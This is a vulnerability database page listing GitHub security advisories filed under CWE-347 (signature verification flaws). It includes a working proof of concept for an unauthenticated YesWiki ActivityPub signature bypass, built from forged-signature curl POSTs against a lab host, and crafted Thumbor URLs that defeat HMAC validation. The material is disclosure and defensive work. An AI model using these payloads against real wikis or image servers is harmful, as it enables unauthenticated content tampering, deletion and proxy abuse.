Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1264 vulnerabilities reference this CWE, most recent first.

GHSA-MRC4-5458-65M9

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42
VLAI
Details

An issue has been discovered on the Belden Hirschmann Tofino Xenon Security Appliance before 03.2.00. An incomplete firmware signature allows a local attacker to upgrade the equipment (kernel, file system) with unsigned, attacker-controlled, data. This occurs because the appliance_config file is signed but the .tar.sec file is unsigned.

Severity
6.8 (Medium)
CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-11400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-20T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue has been discovered on the Belden Hirschmann Tofino Xenon Security Appliance before 03.2.00. An incomplete firmware signature allows a local attacker to upgrade the equipment (kernel, file system) with unsigned, attacker-controlled, data. This occurs because the appliance_config file is signed but the .tar.sec file is unsigned.",
  "id": "GHSA-mrc4-5458-65m9",
  "modified": "2022-05-13T01:42:17Z",
  "published": "2022-05-13T01:42:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11400"
    },
    {
      "type": "WEB",
      "url": "https://github.com/airbus-seclab/security-advisories/blob/master/belden/tofino.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.belden.com/hubfs/support/security/bulletins/Belden-Security-Bulletin-BSECV-2017-14-1v1-1.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MRF9-GHHP-CJFF

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31
VLAI
Details

The decoupled download and installation steps in libzypp before 17.5.0 could lead to a corrupted RPM being left in the cache, where a later call would not display the corrupted RPM warning and allow installation, a problem caused by malicious warnings only displayed during download.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-7685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-31T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "The decoupled download and installation steps in libzypp before 17.5.0 could lead to a corrupted RPM being left in the cache, where a later call would not display the corrupted RPM warning and allow installation, a problem caused by malicious warnings only displayed during download.",
  "id": "GHSA-mrf9-ghhp-cjff",
  "modified": "2022-05-13T01:31:50Z",
  "published": "2022-05-13T01:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7685"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1091624"
    },
    {
      "type": "WEB",
      "url": "https://www.suse.com/de-de/security/cve/CVE-2018-7685"
    },
    {
      "type": "WEB",
      "url": "http://lists.suse.com/pipermail/sle-security-updates/2018-August/004510.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MV28-WJ57-F57G

Vulnerability from github – Published: 2026-07-09 20:58 – Updated: 2026-07-09 20:58
VLAI
Summary
YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
Details

Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

return meaning !return
1 signature is valid false
0 signature is invalid true ✓
-1 the verify call itself failed (internal error) false ❌
false input rejected by PHP's argument validation true ✓

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

  1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
  2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 130
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
    ...                                                          // [Signature parse,
                                                                 //  outbound key fetch — see the SSRF advisory]
    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
    ...
    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK
            join("\n", $sigParts),
            base64_decode($sigConf['signature']),
            $actorPublicKey,
            strtoupper($sigConf['algorithm'])
    )) {
        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1
    }

    if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
        throw new Exception('Digest mismatch');                  // (c) still enforced — easy to satisfy
    }
}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

  1. Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:

    json { "id": "<exact URL the server will GET>", "publicKey": { "id": "<same URL>", "publicKeyPem": "<DSA public key in PEM form>" } }

  2. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:

    ```http POST /?api/forms/2/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Date: Digest: SHA-256= Signature: keyId="",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="

    {"@context":"https://www.w3.org/ns/activitystreams","type":"Create", "actor":"", "object":{"id":"","type":"Event","name":"...","startTime":"..."}} ```

  3. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.

  4. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.
  5. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'

Expected output:

openssl_verify returned: -1
!openssl_verify(...)  is: false

Verify the listener is up and serving the DSA-key actor

podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"' — created via the signature-verification bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'

# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

UPDATE_ACT='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Update",
  "id":   "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
    "content": "this row was modified via the SAME bypass",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

  • Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
  • Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
  • Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

  • Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
  • Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
  • Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
  • Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
  • Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:58:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`HttpSignatureService::verifySignature()` checks the result of PHP\u0027s `openssl_verify()` with a **loose boolean negation** - `if (!openssl_verify(...)) { throw ... }`. PHP\u0027s `openssl_verify` has four possible return values:\n\n| return | meaning                                          | `!return` |\n| ------ | ------------------------------------------------ | --------- |\n| `1`    | signature is valid                               | `false`   |\n| `0`    | signature is invalid                             | `true` \u2713  |\n| `-1`   | the verify call itself failed (internal error)   | **`false` \u274c** |\n| `false`| input rejected by PHP\u0027s argument validation      | `true` \u2713  |\n\nThe `-1` row is the bypass: PHP\u0027s truthiness rules make `-1` a truthy value, so `!(-1) === false`, the throw is skipped, and the controller proceeds to `processActivity()`. Any condition that makes OpenSSL\u0027s `EVP_VerifyFinal()` return `-1` triggers the bypass.\n\nThe two practical paths to `-1` we are aware of:\n\n1. **DSA / EC public key with an RSA-only algorithm.** `openssl_verify(..., $dsaKey, \"RSA-SHA256\")` returns `int(-1)` on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified `php:8.3-apache` lab and against any deployment using the runtime stack YesWiki\u0027s own docker image ships.\n2. **Older PHP + older OpenSSL** where any unrecognised digest name returned `-1` rather than `false`. The reporting research mentions this path; on current stacks `false` is returned instead and the throw fires correctly. The DSA path replaces it.\n\nThe reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker\u0027s payload.\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **130**\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)\npublic function verifySignature(Request $request) {\n    ...                                                          // [Signature parse,\n                                                                 //  outbound key fetch \u2014 see the SSRF advisory]\n    $actorPublicKey = openssl_get_publickey($actor[\u0027publicKey\u0027][\u0027publicKeyPem\u0027]);\n    ...\n    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK\n            join(\"\\n\", $sigParts),\n            base64_decode($sigConf[\u0027signature\u0027]),\n            $actorPublicKey,\n            strtoupper($sigConf[\u0027algorithm\u0027])\n    )) {\n        throw new Exception(\u0027Signature verification failed\u0027);    // (b) skipped when openssl_verify == -1\n    }\n\n    if ($request-\u003eheaders-\u003eget(\u0027Digest\u0027) !== $this-\u003egetDigest($request-\u003egetContent())) {\n        throw new Exception(\u0027Digest mismatch\u0027);                  // (c) still enforced \u2014 easy to satisfy\n    }\n}\n```\n\nThe inbox controller calls `verifySignature()` and then runs `processActivity($activity, $form)`, which is what actually mutates state.\n\n### End-to-end attack chain\n\nA single unauthenticated POST per operation. No session, no CSRF, no real signature.\n\n1. **Stand up an actor document** that the attacker controls \u2014 any public web server (or webhook receiver) that returns a JSON body with the shape:\n\n    ```json\n    {\n      \"id\": \"\u003cexact URL the server will GET\u003e\",\n      \"publicKey\": {\n        \"id\": \"\u003csame URL\u003e\",\n        \"publicKeyPem\": \"\u003cDSA public key in PEM form\u003e\"\n      }\n    }\n    ```\n\n2. **Send a Create / Update / Delete activity** to `POST /api/forms/{enabled-form-id}/actor/inbox`:\n\n    ```http\n    POST /?api/forms/2/actor/inbox HTTP/1.1\n    Host: target.example\n    Content-Type: application/activity+json\n    Date: \u003cRFC1123 date\u003e\n    Digest: SHA-256=\u003cbase64(sha256(body))\u003e\n    Signature: keyId=\"\u003cactor URL\u003e\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\n\n    {\"@context\":\"https://www.w3.org/ns/activitystreams\",\"type\":\"Create\",\n     \"actor\":\"\u003cactor URL\u003e\",\n     \"object\":{\"id\":\"\u003cunique object URI\u003e\",\"type\":\"Event\",\"name\":\"...\",\"startTime\":\"...\"}}\n    ```\n\n3. **YesWiki fetches the actor document** (line 96 - the SSRF; see sibling advisory), parses it, calls `openssl_get_publickey(...)` which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls `openssl_verify($data, \"junk-sig\", $dsaKey, \"RSA-SHA256\")`. EVP_VerifyFinal returns `-1`. The check `!openssl_verify(...)` evaluates to `false` and the throw is skipped.\n4. **`Digest` header is enforced**, but it\u0027s a simple `SHA-256=` of the body the attacker chose, so satisfying it costs one `sha256sum`.\n5. **`processActivity($activity, $form)` runs**: Create \u2192 `EntryManager::create()`, Update \u2192 `EntryManager::update()`, Delete \u2192 `EntryManager::delete()`. The triple store records the attacker\u0027s `object.id` as the source URL, which is how Update / Delete locate the entry on subsequent calls.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nKEYID=\"http://127.0.0.1:9999/actors/attacker\"\nFORM_ID=2\nMARKER=\"DEMO_$(date +%s)\"\n```\n\nPHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that `openssl_verify` returns `-1`.\n\n```bash\npodman exec \"$CTR\" php -r \u0027\n    $pem = file_get_contents(\"/tmp/attacker_keys/dsa.pub\");\n    $key = openssl_get_publickey($pem);\n    $r   = openssl_verify(\"hello\", \"junk\", $key, \"RSA-SHA256\");\n    echo \"openssl_verify returned: \" . var_export($r, true) . \"\\n\";\n    echo \"!openssl_verify(...)  is: \" . var_export(!$r, true) . \"\\n\";\n\u0027\n```\n\n**Expected output:**\n\n```\nopenssl_verify returned: -1\n!openssl_verify(...)  is: false\n```\n\nVerify the listener is up and serving the DSA-key actor\n\n```bash\npodman exec \"$CTR\" cat /tmp/ssrf_listener.pid\npodman exec \"$CTR\" ps -p $(podman exec \"$CTR\" cat /tmp/ssrf_listener.pid) -o stat=\npodman exec \"$CTR\" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo\n```\n\n**Expected output:** a PID, `S` (sleeping/alive), and a JSON document beginning with `{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"http://127.0.0.1:9999/actors/attacker\", ...` and a `publicKeyPem` field whose value starts with `-----BEGIN PUBLIC KEY-----\\nMIIB...` (the DSA key - note the `Bv` prefix typical of DSA-key DER, not the `Ij` of RSA).\n\nBuild a JSON Create activity that the Agenda form\u0027s reverse-semantic template can map (it expects an `Event` with `name`, `content`, `startTime`, `endTime`, `location.address.*`, etc.):\n\n```bash\nACTIVITY=\u0027{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"type\": \"Create\",\n  \"id\":   \"http://127.0.0.1:9999/activity/c-\u0027\"$MARKER\"\u0027\",\n  \"actor\":\"\u0027\"$KEYID\"\u0027\",\n  \"object\": {\n    \"id\":   \"http://127.0.0.1:9999/objects/\u0027\"$MARKER\"\u0027\",\n    \"type\": \"Event\",\n    \"name\": \"\u0027\"$MARKER\"\u0027 \u2014 created via the signature-verification bypass\",\n    \"content\": \"openssl_verify returned -1; YesWiki accepted us anyway\",\n    \"startTime\": \"2026-12-01T10:00:00Z\",\n    \"endTime\":   \"2026-12-01T12:00:00Z\"\n  }\n}\u0027\n\n# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced\nDIGEST=\"SHA-256=$(printf \u0027%s\u0027 \"$ACTIVITY\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed \u0027s/+0000/GMT/\u0027)\"\nSIG=\u0027keyId=\"\u0027\"$KEYID\"\u0027\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\u0027\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Date: ${DATE}\" \\\n     -H \"Digest: ${DIGEST}\" \\\n     -H \"Signature: ${SIG}\" \\\n     --data-raw \"$ACTIVITY\" \\\n     -w \u0027\\n  HTTP %{http_code}\\n\u0027\n```\n\nNow, try udating the entry via the same bypass\n\nThe triple store records `\u003ctag, sourceUrl, object.id\u003e` from the Create. An Update activity referencing the same `object.id` will look that up and rewrite the entry\u0027s body.\n\n```bash\nUPDATE_ACT=\u0027{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"type\": \"Update\",\n  \"id\":   \"http://127.0.0.1:9999/activity/u-\u0027\"$MARKER\"\u0027\",\n  \"actor\":\"\u0027\"$KEYID\"\u0027\",\n  \"object\": {\n    \"id\":   \"http://127.0.0.1:9999/objects/\u0027\"$MARKER\"\u0027\",\n    \"type\": \"Event\",\n    \"name\": \"\u0027\"$MARKER\"\u0027_UPDATED \u2014 title was changed by an unauthenticated POST\",\n    \"content\": \"this row was modified via the SAME bypass\",\n    \"startTime\": \"2026-12-01T10:00:00Z\",\n    \"endTime\":   \"2026-12-01T12:00:00Z\"\n  }\n}\u0027\nDIGEST=\"SHA-256=$(printf \u0027%s\u0027 \"$UPDATE_ACT\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed \u0027s/+0000/GMT/\u0027)\"\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Date: ${DATE}\" \\\n     -H \"Digest: ${DIGEST}\" \\\n     -H \"Signature: ${SIG}\" \\\n     --data-raw \"$UPDATE_ACT\" \\\n     -w \u0027  HTTP %{http_code}\\n\u0027\n```\n\n**Expected output:** `HTTP 200`, empty body.\n\n## Impact\nCRUD on bazar entries of any ActivityPub-enabled form, **without authentication**:\n\n* **Create** - `EntryManager::create($form[\u0027bn_id_nature\u0027], $entry, false, $object[\u0027id\u0027])`. New row in `yeswiki_pages` and a triple `\u003ctag, sourceUrl, $object[\u0027id\u0027]\u003e` in `yeswiki_triples`.\n* **Update** - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.\n* **Delete** - same lookup, then `EntryManager::delete($tag, true)`.\n\nConcrete operational impact:\n\n* **Defacement / content injection** at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.\n* **Spam / SEO poisoning** through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.\n* **Erasure of legitimate federated content** - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its `object.id` discovered, and then deleted by replaying the chain with `type=Delete`.\n* **Triple-store pollution** - the `yeswiki_triples` table grows with attacker-controlled `sourceUrl` triples that survive entry deletion and can interfere with later federation flows.\n* **Reputation / federation poisoning** - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.",
  "id": "GHSA-mv28-wj57-f57g",
  "modified": "2026-07-09T20:58:12Z",
  "published": "2026-07-09T20:58:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-mv28-wj57-f57g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`"
}

GHSA-MW2H-M2P8-8VM7

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20
VLAI
Details

Improper verification of cryptographic signature in the installer for some Intel(R) Wireless Bluetooth(R) and Killer(TM) Bluetooth(R) products in Windows 10 may allow an authenticated user to potentially enable denial of service via local access.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-0152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-17T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper verification of cryptographic signature in the installer for some Intel(R) Wireless Bluetooth(R) and Killer(TM) Bluetooth(R) products in Windows 10 may allow an authenticated user to potentially enable denial of service via local access.",
  "id": "GHSA-mw2h-m2p8-8vm7",
  "modified": "2022-05-24T19:20:59Z",
  "published": "2022-05-24T19:20:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0152"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00540.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MW3H-QJXJ-6XG9

Vulnerability from github – Published: 2026-07-31 18:51 – Updated: 2026-07-31 18:51
VLAI
Summary
Thumbor has HMAC validation bypass via multiple .replace() calls when removing URL signature
Details

HMAC validation bypass via multiple .replace() calls when removing URL signature

Summary

Thumbor’s HMAC validation can be bypassed due to the use of Python’s .replace() when removing the signature from the URL before validation. Since .replace() removes all occurrences of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation.

This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths.

Details

Thumbor signs URLs using HMAC-SHA1 to prevent abuse such as loading arbitrary external images or invoking filters without authorization.

During request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code:

url_signature = self.context.request.hash
if url_signature:
    signer = self.context.modules.url_signer(
        self.context.server.security_key
    )

    try:
        quoted_hash = quote(self.context.request.hash)
    except KeyError:
        self._error(400, f"Invalid hash: {self.context.request.hash}")
        return

    url_to_validate = url.replace(
        f"/{self.context.request.hash}/", ""
    ).replace(f"/{quoted_hash}/", "")

    valid = signer.validate(
        unquote(url_signature).encode(), url_to_validate
    )

The issue is that .replace() removes every occurrence of the substring in the URL, not just the first one.

Because the signature itself appears in the URL, an attacker can inject additional copies of the signature elsewhere in the path. When Thumbor performs .replace(), these extra occurrences are also removed, resulting in a different url_to_validate than the original request.

Example

Valid request:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg

By injecting the same hash inside the URL:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg

After .replace() removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path.

Further manipulation is possible due to the second .replace() for the URL-encoded hash (%3D), enabling more precise path manipulation.

Example:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/...

Impact

This behavior may allow attackers to:

  • Bypass HMAC URL validation
  • Load images from arbitrary domains
  • Abuse Thumbor deployments as an open proxy / image fetcher
  • Circumvent domain restrictions intended by the signed URL mechanism

Root Cause

Use of .replace() without limiting the number of replacements when removing the signature from the URL.

Since the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string.

Suggested Fix

Remove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement.

Example:

url.replace(f"/{self.context.request.hash}/", "", 1)

Alternatively, reconstruct the unsigned URL deterministically from the parsed request components.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.7.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "thumbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T18:51:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# HMAC validation bypass via multiple `.replace()` calls when removing URL signature\n\n## Summary\n\nThumbor\u2019s HMAC validation can be bypassed due to the use of Python\u2019s `.replace()` when removing the signature from the URL before validation. Since `.replace()` removes **all occurrences** of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation.\n\nThis allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths.\n\n## Details\n\nThumbor signs URLs using **HMAC-SHA1** to prevent abuse such as loading arbitrary external images or invoking filters without authorization.\n\nDuring request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code:\n\n```python\nurl_signature = self.context.request.hash\nif url_signature:\n    signer = self.context.modules.url_signer(\n        self.context.server.security_key\n    )\n\n    try:\n        quoted_hash = quote(self.context.request.hash)\n    except KeyError:\n        self._error(400, f\"Invalid hash: {self.context.request.hash}\")\n        return\n\n    url_to_validate = url.replace(\n        f\"/{self.context.request.hash}/\", \"\"\n    ).replace(f\"/{quoted_hash}/\", \"\")\n\n    valid = signer.validate(\n        unquote(url_signature).encode(), url_to_validate\n    